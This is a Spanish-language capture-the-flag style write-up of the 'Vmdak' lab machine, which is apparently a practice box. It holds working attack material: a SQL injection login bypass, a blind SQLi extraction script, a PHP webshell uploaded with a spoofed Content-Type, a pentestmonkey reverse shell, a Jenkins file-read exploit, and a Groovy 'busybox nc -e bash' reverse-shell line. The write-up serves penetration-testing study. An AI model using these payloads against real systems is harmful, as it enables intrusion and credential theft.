Vmdak
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. El 9443 sirve un Prison Management System vulnerable a la CVE-2024-33288 (SQLi de bypass de login) (bypass de autenticación por SQLi); dentro del panel, un parte de vacaciones lleva escrita una contraseña (caza de credenciales) y un SQLi a ciegas (SQLi a ciegas) saca las credenciales de la aplicación. La CVE-2024-48594 sube un.phpfalseando elContent-Typepara RCE comowww-data(bypass de Content-Type). La contraseña del parte, reutilizada, nos davmdak. El FTP anónimo ya delataba un Jenkins interno; con un túnel SSH (reenvío de puertos local) llegamos a él y la CVE-2024-23897 filtra elinitialAdminPassword(Jenkins CLI arbitrary file read), que abre la Script Console para ejecutar como root.
Reconocimiento
Escaneo inicial
TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. FTP, SSH, un Apache por defecto y un HTTPS con el "Prison Management System".
ping -c 1 192.168.114.103
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.114.103PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
9443/tcp open ssl/httpnmap -p21,22,80,9443 -sCV 192.168.114.103 -oN targetedScanPORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 1752 Sep 19 2024 config.xml
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.4
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
9443/tcp open ssl/http Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Home - Prison Management System
| ssl-cert: Subject: commonName=vmdak.local/organizationName=PrisonManagement/...FTP - TCP 21: Jenkins escondido
El FTP permite login anónimo (FTP anónimo) y comparte un config.xml:
ftp 192.168.114.103 # anonymous
get config.xmlEs un fichero de configuración de Jenkins 2.401.2 (<hudson>, <version>2.401.2</version>). No hay Jenkins expuesto en los puertos externos, pero una línea llama la atención:
<InitialRootPassword>/root/.jenkins/secrets/initialAdminPassword></InitialRootPassword>Anotamos: hay un Jenkins interno (bind a localhost) y su initialAdminPassword corre bajo root. Volveremos a ello en la escalada.
HTTPS - TCP 9443: Prison Management System
El 9443 es un "Prison Management System" (Fast5). Un barrido de rutas (descubrimiento de contenido web) encuentra el panel:
dirsearch -u https://192.168.114.103:9443/ --exclude-status=404,403 -t 200
[19:39:42] 301 - 326B - /Admin -> https://192.168.114.103:9443/Admin/
[19:39:42] 302 - 10KB - /Admin/ -> login.phpsearchsploit identifica el producto al instante:
searchsploit prisonPrison Management System - SQL Injection Authentication Bypass | php/webapps/52017.txt (CVE-2024-33288)Explotación
CVE-2024-33288: bypass de login por SQLi
El PoC del 52017.txt es directo: usuario admin' or '1'='1 y cualquier contraseña. La condición inyectada hace verdadera la cláusula WHERE completa y el SELECT devuelve la primera fila de users (bypass de autenticación por SQLi). Aquí basta con la variante corta:

El panel: una contraseña escrita en un parte de vacaciones
Entramos como la primera fila de la tabla, Caroline Bassey. El menú "Leave Management" guarda un único registro, y su campo "Reason" no es un motivo de ausencia sino un recordatorio (caza de credenciales):
# Leave Record
Staff Name Leave ID Start Date End Date Reason Status
Malcom 2023399 2023-10-29 2023-11-15 Dont forget the password: RonnyCache001 Approved
Nos guardamos RonnyCache001: todavía no sabemos de quién es.
Cuántas columnas tiene la consulta
Antes de automatizar nada conviene medir la inyección. Interceptamos el POST con Burp y sustituimos el usuario por un ORDER BY N para contar las columnas del SELECT:

Con seis, MySQL rompe la consulta y PHP devuelve un error del servidor:
txtusername=%27ORDER+BY+6--+-&txtpassword=hola&btnlogin=
HTTP/1.0 500 Internal Server Error
Content-Length: 0
Connection: close
Con cinco, la aplicación responde con normalidad:
txtusername=%27ORDER+BY+5--+-&txtpassword=hola&btnlogin=
HTTP/1.1 200 OK
Content-Length: 3658
Cinco columnas, y dos respuestas perfectamente distinguibles. Eso es todo lo que necesita un SQLi a ciegas booleano.
SQLi a ciegas: volcado de credenciales
El oráculo no es el 200 contra el 500, sino el 302: cuando la condición inyectada es verdadera la aplicación considera el login correcto y redirige al panel; cuando es falsa devuelve el formulario. Un script en Python recorre posición a posición y carácter a carácter, y se queda con el carácter que provoca el redirect:
post_data = {
'txtusername': "'or (select BINARY substring(database(),%d,1))='%s'-- -" % (position, character),
'txtpassword': 'test', 'btnlogin': 'x'
}
r = requests.post(login_url, data=post_data, allow_redirects=False, verify=False)
if r.status_code == 302:
result += character # el carácter es correctoDos detalles del script que importan: allow_redirects=False (si requests sigue el 302 se pierde el oráculo) y verify=False (el 9443 usa un certificado autofirmado de vmdak.local). El BINARY fuerza una comparación sensible a mayúsculas, que por defecto MySQL no hace.
Primero, el nombre de la base de datos:
[d] SQLi: employee_akpoly
Después las tablas, cambiando el substring por un group_concat sobre information_schema.tables. A partir de aquí el script compara con hex() en los dos lados, que evita problemas de cotejo y de caracteres raros:
'txtusername': "'or hex(substring((select group_concat(table_name) from information_schema.tables "
"where table_schema='employee_akpoly'),%d,1))=hex('%s')-- -" % (position, character)[o] SQLi: tblemployee,tblleave,users
Las columnas de users, con la misma técnica sobre information_schema.columns:
[\] SQLi: username,password,phone,fullname,photo
Y por fin los datos. El alfabeto del script es ascii_lowercase + ascii_uppercase + digits + "-_,", así que los dos puntos del group_concat(fullname,':',username,':',password) no se pueden adivinar y la salida sale pegada:
[|] SQLi: CarolineBasseyadminadmin123
Sabiendo que el separador era :, se lee sin esfuerzo: CarolineBassey / admin / admin123. Las credenciales entran por la puerta principal, sin inyección:

CVE-2024-48594: subida arbitraria por bypass de Content-Type
El perfil de administrador (/Admin/edit-photo.php) deja cambiar la foto de usuario. La CVE-2024-48594 es exactamente eso: la aplicación se fía del Content-Type que declara el navegador y no mira ni la extensión ni el contenido real del fichero (bypass de Content-Type, subida de ficheros a RCE).
El identificador solo da el resumen del NVD, así que la búsqueda hay que orientarla a lo explotable. Con CVE-2024-48594 git exploit aparece un cuaderno de notas de pentesting con una página dedicada a este mismo Prison Management System:

30 oct 2024 - Summary. File Upload vulnerability in Prison Management System v.1.0 allows a remote
attacker to execute arbitrary code via the file upload ...
GitBook - https://x7331.gitbook.io > web
Prison Management System | Pentest Journeys - GitBookY esa página trae la petición entera, con el part del avatar ya montado y la cabecera que hay que tocar marcada. De ahí sale, literalmente, el cuerpo multipart que se usa a continuación:

------WebKitFormBoundaryyCVxsS8itKVeQYh3
Content-Disposition: form-data; name="txtusername"
test2
------WebKitFormBoundaryyCVxsS8itKVeQYh3
Content-Disposition: form-data; name="avatar"; filename="webshell.php"
Content-Type: image/png
<?php system($_GET['c']);?>
------WebKitFormBoundaryyCVxsS8itKVeQYh3
Content-Disposition: form-data; name="btncreate"
------WebKitFormBoundaryyCVxsS8itKVeQYh3--Lo único que importa de todo ese bloque es el par de líneas del part del fichero:
Content-Disposition: form-data; name="avatar"; filename="webshell.php"
Content-Type: image/png
<?php system($_GET['c']);?>Aquí no subimos una webshell sino una reverse shell de pentestmonkey (rev.php) apuntando a nuestra IP y, como puerto, el 22: el tráfico de salida hacia un 22 pasa desapercibido en cualquier filtrado perezoso.
$ip = '192.168.45.238';
$port = 22;Al subirla tal cual, Firefox declara el tipo real y el servidor la rechaza:

Cambiamos esa única cabecera del part (no la del Content-Type: multipart/form-data de la petición) a image/png y el servidor la acepta:
Content-Disposition: form-data; name="avatar"; filename="rev.php"
Content-Type: image/png
HTTP/1.1 200 OK
refresh: 2;url=edit-photo.php
¿Dónde ha caído? La propia página lo dice: la foto de perfil se sirve desde el directorio de subidas, así que basta con pedirle al navegador la URL real de esa imagen, con Open Image in New Tab sobre el recuadro del perfil:

La pestaña que abre descubre la ruta, /uploadImage/. Ponemos un listener y visitamos https://192.168.114.103:9443/uploadImage/rev.php:
(Penelope)> listeners add -p 22
[+] Listening for reverse shells on 0.0.0.0:22 → 127.0.0.1 • 192.168.1.80 • 172.17.0.1 • 192.168.45.238
[+] Got reverse shell from vmdak.local~192.168.114.103-Linux-x86_64 😍 Assigned SessionID <1>
(Penelope)> sessions 1
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
www-data@vmdak:/$ whoami
www-data
En el navegador la petición devuelve WARNING: Failed to daemonise. This is quite common and not fatal. Connection refused (111). Las dos frases son de la propia shell de pentestmonkey y ninguna impide nada: el aviso del fork es cosmético y el "connection refused" corresponde al primer intento, contra el listener por defecto de Penelope (4444), antes de levantar el del 22. La conexión buena es la que aparece en el listener.
Ejecución como www-data.
Pivote de usuarios
La contraseña del parte de vacaciones
www-data no lleva a ningún sitio, pero el /etc/passwd deja ver que solo hay un usuario real con shell, y que su shell es /bin/sh. Probamos con la contraseña que el parte de vacaciones dejaba escrita (reutilización de credenciales):
cat /etc/passwd | grep sh
su vmdak
root:x:0:0:root:/root:/bin/bash
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
vmdak:x:1000:1000::/home/vmdak:/bin/sh
www-data@vmdak:/$ su vmdak
Password:
$ whoami
vmdak
$ id
uid=1000(vmdak) gid=1000(vmdak) groups=1000(vmdak)RonnyCache001 no era la contraseña de "Malcom": era la de la cuenta de sistema.
Local
cat local.txt && whoami && ip a && hostname
2cab96f7c8f869c05e1f43f9797d7dbf
vmdak
...
inet 192.168.114.103/24 brd 192.168.114.255 scope global ens160
vmdak.localEscalada de privilegios
Un Jenkins que solo escucha en localhost
El config.xml del FTP anticipaba un Jenkins interno, y el propio sistema de ficheros lo confirma: el directorio de trabajo de la sesión es /sys/fs/cgroup/system.slice/jenkins.service, es decir, hay una unidad de systemd llamada jenkins corriendo. netstat enseña dónde escucha:
netstat -tuln
curl localhost:8080Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:9443 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN<html><head><meta http-equiv='refresh' content='1;url=/login?from=%2F'/>...
Authentication requiredEl 8080 está atado a 127.0.0.1, así que ningún escaneo desde fuera lo iba a ver. Y pide autenticación.

Túnel SSH hasta el 8080
Como tenemos la contraseña de vmdak y el 22 está abierto, no hace falta subir ningún pivote: un reenvío de puertos local por SSH trae ese 8080 a nuestra máquina (reenvío de puertos local):
ssh vmdak@192.168.114.103 -L 8081:127.0.0.1:8080 &>/dev/null
Al abrirlo en el navegador aparece algo mejor que un login: la pantalla Unlock Jenkins. Este Jenkins nunca terminó el asistente de instalación, y esa pantalla dice en voz alta cuál es la contraseña de administrador y dónde vive, la misma ruta que ya venía en el config.xml del FTP anónimo:
/root/.jenkins/secrets/initialAdminPassword
CVE-2024-23897: leer el initialAdminPassword
Ese Jenkins es 2.441, vulnerable a la CVE-2024-23897: el parser de argumentos del CLI expande un @ al contenido del fichero que le sigue, de modo que cualquiera sin autenticar puede leer ficheros arbitrarios con los permisos del proceso, que aquí es root (Jenkins CLI arbitrary file read). searchsploit tiene el exploit para esa versión:
searchsploit jenkins
searchsploit -m java/webapps/51993.py
python3 51993.py -u http://localhost:8081 -p /root/.jenkins/secrets/initialAdminPassword
140ef31373034d19a77baa9c6b84a200Nótese la ruta: /root/.jenkins. Jenkins no corre bajo un usuario de servicio, corre bajo root, así que todo lo que ejecutemos desde el panel será root sin necesidad de escalar nada más.
Script Console: Groovy como root
Con esa contraseña desbloqueamos el asistente y entramos como administrador. La Script Console de /computer/(built-in)/script ejecuta Groovy en la JVM del nodo, con los privilegios del proceso. Dejamos un listener y disparamos:
rlwrap nc -nlvp 9999println "busybox nc 192.168.45.238 9999 -e bash".execute().textlistening on [any] 9999 ...
connect to [192.168.45.238] from (UNKNOWN) [192.168.114.103] 3...
whoami
root
Root
cat /root/proof.txt && ip a && whoami && hostname
29d065fa82cfe1f1f50fc033dd5ff9d9
...
inet 192.168.114.103/24 brd 192.168.114.255 scope global ens160
root
vmdak.localCadena de ataque
FTP 21 (anon) -- config.xml -> Jenkins 2.401.2 interno + ruta initialAdminPassword
Prison Mgmt 9443 -- dirsearch -> /Admin/login.php
│ CVE-2024-33288: 'or 1=1-- - -> panel como Caroline Bassey
│ └─ parte de vacaciones: "Dont forget the password: RonnyCache001"
│ ORDER BY 5/6 -> 5 columnas; el 302 como oráculo
│ SQLi a ciegas -> employee_akpoly.users: admin:admin123
│ CVE-2024-48594: rev.php con Content-Type image/png -> /uploadImage/rev.php
▼
www-data
│ RonnyCache001 -> su vmdak
▼
vmdak (local.txt)
│ netstat -> 127.0.0.1:8080 (jenkins.service)
│ ssh -L 8081:127.0.0.1:8080 -> Unlock Jenkins 2.441
│ CVE-2024-23897: leer /root/.jenkins/secrets/initialAdminPassword
│ Script Console (Groovy), proceso bajo root
▼
root (proof.txt)Lecciones aprendidas
- El FTP anónimo puede filtrar la arquitectura. Un
config.xmlreveló un Jenkins interno y dónde vivía su contraseña; sin esa pista, el túnel no habría sido obvio. - Medir antes de automatizar. Dos peticiones con
ORDER BYdieron el número de columnas y, sobre todo, dos respuestas distinguibles. Sin ese oráculo (aquí, el 302) el script a ciegas no tiene de qué tirar. - El alfabeto del script condiciona el resultado. Los
:delgroup_concatno estaban en el conjunto de caracteres, así que la salida llegó pegada. Conviene saber qué se está pudiendo adivinar y qué no, y no confundir un separador ausente con un dato mal extraído. - Las contraseñas se esconden en campos de texto libre. El motivo de un parte de vacaciones no es un sitio donde nadie busque, y ahí estaba la credencial que abría la cuenta de sistema. Cualquier campo que un humano rellene a mano merece una lectura.
- Validar solo el
Content-Typeno protege una subida. La CVE-2024-48594 aceptaba PHP con unimage/pngfalso; hay que validar contenido real y forzar extensión y almacenamiento seguros. - Un servicio en localhost no es inaccesible. Con acceso a la máquina, un reenvío SSH lo expone. Y un Jenkins que nunca terminó su asistente anuncia por pantalla la ruta de su propia contraseña: con la CVE-2024-23897 leerla no requería ni estar autenticado.